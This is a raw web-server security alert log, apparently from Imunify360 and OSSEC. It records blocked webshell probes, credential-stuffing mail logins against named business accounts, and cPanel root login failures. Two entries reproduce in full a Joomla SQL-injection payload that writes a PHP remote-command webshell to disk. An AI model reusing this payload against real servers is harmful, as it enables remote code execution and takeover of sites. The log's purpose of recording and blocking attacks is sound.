IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/help.php||SC:/home/apkmetals/public_html/wp-content/uploads/help.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
country_id: 1605651
description:
2026-07-06 21:14:07 dovecot_login authenticator failed for H=([112.6.114.199]) [203.172.213.166]:53279: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.121.148
country_id: 1861060
domain: apkmetal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/hega.php||SC:/home/apkmetals/public_html/uploads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.121.148
country_id: 1861060
domain: apkmetal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/fungsi.php||SC:/home/apkmetals/public_html/uploads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.121.148
country_id: 1861060
domain: apkmetal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/img/wp-login.php||SC:/home/apkmetals/public_html/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.198.90.154
country_id: 1269750
domain: reach.ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/ddgalaxy/reach.ddgalaxy.in/uploads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.24.150.159
country_id: 1880251
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/travelinbh/public_html/wp-content||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.24.150.159
country_id: 1880251
domain: travelinbh.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/travelinbh/public_html/wp-includes||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.145.62
country_id: 1733045
description:
2026-07-06 21:20:48 dovecot_login authenticator failed for H=([189.20.109.209]) [49.124.145.62]:43954: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.11.34.221
country_id: 1210997
description:
2026-07-06 21:23:37 dovecot_login authenticator failed for H=113-11-34-221.broadband.smile.com.bd ([184.181.217.198]) [113.11.34.221]:38888: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.200.42.112
country_id: 1880251
description:
2026-07-06 21:23:49 dovecot_login authenticator failed for H=([121.148.184.47]) [118.200.42.112]:41276: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.96.28.245
country_id: 192950
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/large-display-screens-projectors HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-06 21:33:06 dovecot_login authenticator failed for H=([175.211.210.234]) [207.188.158.216]:50466: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.14
country_id: 1269750
description:
2026-07-06 21:33:10 dovecot_login authenticator failed for H=([119.207.83.89]) [182.95.185.14]:46388: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.142
country_id: 1269750
description:
2026-07-06 21:33:23 dovecot_login authenticator failed for H=([70.166.167.50]) [182.95.185.142]:55238: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-06 21:32:46 dovecot_login authenticator failed for H=([45.164.115.86]) [203.252.10.3]:20768: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: modsec
rule: 77350942
name: IM360 WAF: Dangerous PHP functions in REQUEST_URI
abuser: 197.119.21.110
country_id: 2589581
domain: ddgalaxy.in
description:
IM360 WAF: Dangerous PHP functions in REQUEST_URI||MV:/index.php?option=com_tags&view=tag&list[order]=' UNION SELECT '<?php <?php if(!isset($_GET['c']) && !isset($_POST['cmd']) && !isset($_FILES['file']) && !isset($_GET['ui'])){  echo 'RXST:'.base64_encode('MATHOK:252702').':RXEND';}elseif(isset($_FILES['file'])){  $upload_dir = './uploads/';  if(!is_dir($upload_dir)){mkdir($upload_dir, 0777, true);}  $file = $upload_dir . basename($_FILES['file']['name']);  if(move_uploaded_file($_FILES['file']['tmp_name'], $file)){    echo 'File uploaded successfully: ' . $_FILES['file']['name'];  }else{    echo 'Upload failed';  }}elseif(isset($_GET['ui'])){  echo '<!DOCTYPE html><html><head><meta charset=\"UTF-8\"><title>RCE Shell</title>';  echo '<style>body{background:#0a0e17;color:#e0e0e0;font-family:Consolas,monospace;padding:20px;}  .box{background:#111927;border:1px solid #1a2a3a;border-radius:8px;padding:20px;margin:15px 0;}  input,button{background:#0a1520;color:#e0e0e0;border:1px solid #1a3a5a;padding:10px;margin:5px;}  button{background:#00d4ff;color:#0a0e17;cursor:pointer;border:none;}  .cmd-output{background:#0a0a0a;padding:10px;border-radius:4px;margin:10px 0;white-space:pre-wrap;max-height:300px;overflow-y:auto;}  </style>';  echo '<div class=box><h3>\xe2\x96\xb6 Command</h3>';  echo '<form method=post><input type=text name=cmd style=\"width:70%\"><button type=submit>Run</button></form>';  if(isset($_POST['cmd']) && !empty($_POST['cmd'])){    $c=$_POST['cmd'].' 2>&1';$o='';    if(function_exists('shell_exec')){$o=@shell_exec($c);}    elseif(function_exists('exec')){@exec($c,$arr);$o=implode(\"\\n\",$arr);}    elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}    elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}    else{$o='BLOCKED';}    echo '<div class=cmd-output>'.htmlspecialchars($o).'</div>';  }  echo '</div>';  echo '<div class=box><h3>\xf0\x9f\x93\xa4 Upload</h3>';  echo '<form method=post enctype=\"multipart/form-data\"><input type=file name=file><button type=submit name=upload>Upload</button></form>';  if(isset($_FILES['file']) && isset($_POST['upload'])){    $dir='./uploads/';if(!is_dir($dir)){mkdir($dir,0777,true);}    $f=$dir.basename($_FILES['file']['name']);    if(move_uploaded_file($_FILES['file']['tmp_name'],$f)){      echo '<div style=\"color:#66bb6a;\">\xe2\x9c\x93 Uploaded: '.htmlspecialchars($_FILES['file']['name']).'</div>';    }else{echo '<div style=\"color:#ef5350;\">\xe2\x9c\x97 Failed</div>';}  }  echo '</div></body></html>';}else{  $c = isset($_GET['c']) ? $_GET['c'] : (isset($_POST['cmd']) ? $_POST['cmd'] : '');  if(!empty($c)){    $c .= ' 2>&1';$o='';    if(function_exists('shell_exec')){$o=@shell_exec($c);}    elseif(function_exists('exec')){@exec($c,$arr);$o=implode(\"\\n\",$arr);}    elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}    elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}    elseif(function_exists('popen')){$h=@popen($c,'r');$o='';while(!feof($h)){$o.=fread($h,4096);}pclose($h);}    else{$o='BLOCKED';}    echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';  }} ?> ?>' INTO OUTFILE '/tmp/jceh8h0asa8.php' -- -||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 197.119.21.110
country_id: 2589581
domain: ddgalaxy.in
description:
IM360 WAF: Malformed URI Open Redirect Probe Detected||MV:/index.php?option=com_tags&view=tag&list[order]=' UNION SELECT '<?php <?php if(!isset($_GET['c']) && !isset($_POST['cmd']) && !isset($_FILES['file']) && !isset($_GET['ui'])){  echo 'RXST:'.base64_encode('MATHOK:252702').':RXEND';}elseif(isset($_FILES['file'])){  $upload_dir = './uploads/';  if(!is_dir($upload_dir)){mkdir($upload_dir, 0777, true);}  $file = $upload_dir . basename($_FILES['file']['name']);  if(move_uploaded_file($_FILES['file']['tmp_name'], $file)){    echo 'File uploaded successfully: ' . $_FILES['file']['name'];  }else{    echo 'Upload failed';  }}elseif(isset($_GET['ui'])){  echo '<!DOCTYPE html><html><head><meta charset=\"UTF-8\"><title>RCE Shell</title>';  echo '<style>body{background:#0a0e17;color:#e0e0e0;font-family:Consolas,monospace;padding:20px;}  .box{background:#111927;border:1px solid #1a2a3a;border-radius:8px;padding:20px;margin:15px 0;}  input,button{background:#0a1520;color:#e0e0e0;border:1px solid #1a3a5a;padding:10px;margin:5px;}  button{background:#00d4ff;color:#0a0e17;cursor:pointer;border:none;}  .cmd-output{background:#0a0a0a;padding:10px;border-radius:4px;margin:10px 0;white-space:pre-wrap;max-height:300px;overflow-y:auto;}  </style>';  echo '<div class=box><h3>\xe2\x96\xb6 Command</h3>';  echo '<form method=post><input type=text name=cmd style=\"width:70%\"><button type=submit>Run</button></form>';  if(isset($_POST['cmd']) && !empty($_POST['cmd'])){    $c=$_POST['cmd'].' 2>&1';$o='';    if(function_exists('shell_exec')){$o=@shell_exec($c);}    elseif(function_exists('exec')){@exec($c,$arr);$o=implode(\"\\n\",$arr);}    elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}    elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}    else{$o='BLOCKED';}    echo '<div class=cmd-output>'.htmlspecialchars($o).'</div>';  }  echo '</div>';  echo '<div class=box><h3>\xf0\x9f\x93\xa4 Upload</h3>';  echo '<form method=post enctype=\"multipart/form-data\"><input type=file name=file><button type=submit name=upload>Upload</button></form>';  if(isset($_FILES['file']) && isset($_POST['upload'])){    $dir='./uploads/';if(!is_dir($dir)){mkdir($dir,0777,true);}    $f=$dir.basename($_FILES['file']['name']);    if(move_uploaded_file($_FILES['file']['tmp_name'],$f)){      echo '<div style=\"color:#66bb6a;\">\xe2\x9c\x93 Uploaded: '.htmlspecialchars($_FILES['file']['name']).'</div>';    }else{echo '<div style=\"color:#ef5350;\">\xe2\x9c\x97 Failed</div>';}  }  echo '</div></body></html>';}else{  $c = isset($_GET['c']) ? $_GET['c'] : (isset($_POST['cmd']) ? $_POST['cmd'] : '');  if(!empty($c)){    $c .= ' 2>&1';$o='';    if(function_exists('shell_exec')){$o=@shell_exec($c);}    elseif(function_exists('exec')){@exec($c,$arr);$o=implode(\"\\n\",$arr);}    elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}    elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}    elseif(function_exists('popen')){$h=@popen($c,'r');$o='';while(!feof($h)){$o.=fread($h,4096);}pclose($h);}    else{$o='BLOCKED';}    echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';  }} ?> ?>' INTO OUTFILE '/tmp/jceh8h0asa8.php' -- -||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.12.142
country_id: 1835841
description:
2026-07-06 21:40:46 dovecot_login authenticator failed for H=([113.53.251.101]) [14.51.12.142]:38260: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-06 21:41:10 dovecot_login authenticator failed for H=([27.204.185.20]) [50.212.27.150]:60808: 535 Incorrect authentication data (set_id=no-reply)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 167.58.239.251
country_id: 3439705
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:27467.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:717f201be146faf84da7cf3b5ad4376f801e4226||Title:0x3acef0d5||RSV:8.25||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.154.253.108
country_id: 2921044
description:
[2026-07-06 21:43:03 +0530] info [whostmgrd] 217.154.253.108 - root "GET /cpsess5222397245/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 217.154.253.108
country_id: 2921044
description:
[2026-07-06 21:43:01 +0530] info [whostmgrd] 217.154.253.108 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.197.42
country_id: 1269750
description:
2026-07-06 21:44:07 dovecot_login authenticator failed for H=([49.124.145.56]) [128.185.197.42]:52814: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-06 21:44:43 dovecot_login authenticator failed for H=([68.71.254.3]) [59.145.160.134]:35132: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.105.93.136
country_id: 1835841
description:
2026-07-06 21:45:15 dovecot_login authenticator failed for H=(ip103-172-204-180.cloudhost.web.id) [210.105.93.136]:51222: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.109.73.135
country_id: 1835841
description:
2026-07-06 21:45:28 dovecot_login authenticator failed for H=(bc2407c4.catv.pool.telekom.hu) [222.109.73.135]:60030: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.56.174.63
country_id: 3686110
description:
2026-07-06 21:44:32 dovecot_login authenticator failed for H=([117.191.127.86]) [181.56.174.63]:56020: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-06 21:46:24 dovecot_login authenticator failed for H=([122.53.106.124]) [182.95.101.182]:36440: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.203
country_id: 1835841
description:
2026-07-06 21:45:51 dovecot_login authenticator failed for H=([103.161.93.53]) [218.156.93.203]:53606: 535 Incorrect authentication data (set_id=office@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-06 21:47:47 dovecot_login authenticator failed for H=([166.142.197.35]) [117.250.19.91]:40956: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.80.161.168
country_id: 1835841
description:
2026-07-06 21:49:39 dovecot_login authenticator failed for H=(45-181-101-92.plugartelecom.net.br) [61.80.161.168]:46324: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.11.34.221
country_id: 1210997
description:
2026-07-06 21:50:24 dovecot_login authenticator failed for H=113-11-34-221.broadband.smile.com.bd (cyrela.static.gvt.net.br) [113.11.34.221]:36816: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.141.252.55
country_id: 6252001
description:
2026-07-06 21:55:31 dovecot_login authenticator failed for H=([70.166.167.50]) [38.141.252.55]:47091: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-07-06 21:55:24 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com (c-76-132-238-43.hsd1.ca.comcast.net) [90.230.168.26]:55078: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.114.8
country_id: 1668284
description:
2026-07-06 21:56:06 dovecot_login authenticator failed for H=110-25-114-8.adsl.fetnet.net ([211.63.34.149]) [110.25.114.8]:38148: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-06 21:56:30 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp (ip-142-54-232-1.hosts.zerolag.com) [218.219.193.151]:56818: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-06 21:57:42 dovecot_login authenticator failed for H=([45.238.2.188]) [182.78.112.174]:32988: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.220.90
country_id: 1269750
description:
2026-07-06 21:58:08 dovecot_login authenticator failed for H=([114.202.80.152]) [128.185.220.90]:45064: 535 Incorrect authentication data (set_id=no-reply)


plugin: modsec
rule: 77469916
abuser: 104.28.165.221
country_id: 3017382
domain: kallanigroup.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx55800.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 167.71.240.77
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-07-06 22:02:26 dovecot_login authenticator failed for H=([103.168.241.32]) [62.220.236.203]:54512: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 54.37.84.47
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?verified=1&rating=5&image=1&add-to-cart=10240||QS:verified=1&rating=5&image=1&add-to-cart=10240||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.90.111.74
country_id: 1269750
description:
2026-07-06 22:02:54 dovecot_login authenticator failed for H=([152.70.157.25]) [59.90.111.74]:43328: 535 Incorrect authentication data (set_id=it)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-06 22:04:35 dovecot_login authenticator failed for H=([72.37.217.1]) [41.219.149.74]:12059: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.120.9.176
country_id: 6252001
description:
2026-07-06 22:04:41 dovecot_login authenticator failed for H=(net-85-173-96-230.kbrnet.ru) [70.120.9.176]:55631: 535 Incorrect authentication data (set_id=support@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-06 22:04:59 dovecot_login authenticator failed for H=([192.72.56.178]) [210.5.117.238]:64281: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-06 22:05:57 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com ([149.54.62.170]) [213.66.197.199]:58382: 535 Incorrect authentication data (set_id=contact@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.158
country_id: 1733045
description:
2026-07-06 22:06:05 dovecot_login authenticator failed for H=([174.64.199.69]) [183.171.49.158]:52102: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-06 22:06:30 dovecot_login authenticator failed for H=([196.191.212.235]) [121.202.206.119]:56060: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-06 22:08:16 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp ([195.222.57.182]) [218.219.193.151]:33530: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.95.141.216
country_id: 1269750
description:
2026-07-06 22:09:53 dovecot_login authenticator failed for H=(82-209-148-60.cust.bredband2.com) [59.95.141.216]:43648: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.134.97
country_id: 99237
description:
2026-07-06 22:10:13 dovecot_login authenticator failed for H=([61.84.228.191]) [65.20.134.97]:59816: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
country_id: 1269750
description:
2026-07-06 22:13:52 dovecot_login authenticator failed for H=([125.130.102.172]) [182.76.71.82]:45668: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-06 22:14:18 dovecot_login authenticator failed for H=([199.229.254.131]) [182.95.228.194]:54508: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.232.66
country_id: 1269750
description:
2026-07-06 22:25:53 dovecot_login authenticator failed for H=([106.248.238.187]) [182.95.232.66]:38534: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.233.37
country_id: 1861060
domain: mail.elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/uploader.php||SC:/home/elegantautomotiv/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.100.98.105
country_id: 718075
description:
2026-07-06 22:28:17 dovecot_login authenticator failed for H=([49.124.153.7]) [94.100.98.105]:57413: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-06 22:28:42 dovecot_login authenticator failed for H=([39.118.24.100]) [103.130.207.227]:51666: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.194.29
country_id: 1269750
description:
2026-07-06 22:35:21 dovecot_login authenticator failed for H=([213.33.182.183]) [49.206.194.29]:42980: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.214.10.178
country_id: 2245662
description:
2026-07-06 22:35:44 dovecot_login authenticator failed for H=([119.152.102.54]) [41.214.10.178]:33026: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.22
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/150.0.0.0 Safari/537.36||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.104.76.94
country_id: 1835841
description:
2026-07-06 22:40:16 dovecot_login authenticator failed for H=([202.153.46.43]) [222.104.76.94]:41320: 535 Incorrect authentication data (set_id=support@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-06 22:40:47 dovecot_login authenticator failed for H=([31.173.2.182]) [182.95.109.138]:52588: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.59.80
country_id: 1835841
description:
2026-07-06 22:44:17 dovecot_login authenticator failed for H=([149.54.62.162]) [119.192.59.80]:42469: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.79.60
country_id: 1819730
description:
2026-07-06 22:44:38 dovecot_login authenticator failed for H=([183.171.208.25]) [65.181.79.60]:50428: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 121.200.216.55
country_id: 1562822
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0||MV:/wp-json/wp/v2/users/me||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-07-06 22:46:05 dovecot_login authenticator failed for H=([106.248.238.187]) [12.150.243.22]:25991: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 5.157.5.3
country_id: 453733
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 \xe0\xb8\xab\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\xa2\xe0\xb9\x87\xe0\xb8\x94 (<a href=\"https://onlyxvids.com/video-tag/mintra4444/\">onlyxvids.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.18.106.54
country_id: 6252001
description:
2026-07-06 22:48:54 dovecot_login authenticator failed for H=([45.155.146.33]) [173.18.106.54]:58588: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.39.147
country_id: 1269750
description:
2026-07-06 22:49:57 dovecot_login authenticator failed for H=([174.75.211.211]) [103.171.39.147]:33084: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.174
country_id: 1733045
description:
2026-07-06 22:50:52 dovecot_login authenticator failed for H=([98.181.137.69]) [49.124.155.174]:35556: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.236.135
country_id: 2661886
domain: www.keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:92.112.236.135||TA:92.112.236.135||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-07-06 22:52:15 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de (syn-184-057-039-170.res.spectrum.com) [93.241.232.14]:39854: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.134.45.64
country_id: 6252001
description:
2026-07-06 22:51:55 dovecot_login authenticator failed for H=([72.37.216.65]) [174.134.45.64]:33114: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-06 22:53:01 dovecot_login authenticator failed for H=([131.161.184.46]) [41.215.125.250]:33508: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 201.239.58.251
country_id: 3895114
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:55639.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4b00a97fc9808e0cecc08412ba78919b9ba1530b||Title:0x713ada26||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.88.38.35
country_id: 2510769
description:
2026-07-06 22:52:42 dovecot_login authenticator failed for H=([74.119.144.57]) [157.88.38.35]:64841: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.185.102.59
country_id: 294640
description:
2026-07-06 22:55:25 dovecot_login authenticator failed for H=([101.13.4.128]) [130.185.102.59]:34722: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-07-06 22:55:40 dovecot_login authenticator failed for H=([184.181.178.35]) [169.211.232.182]:52238: 535 Incorrect authentication data (set_id=support@idealloanz.com.au)


plugin: ossec
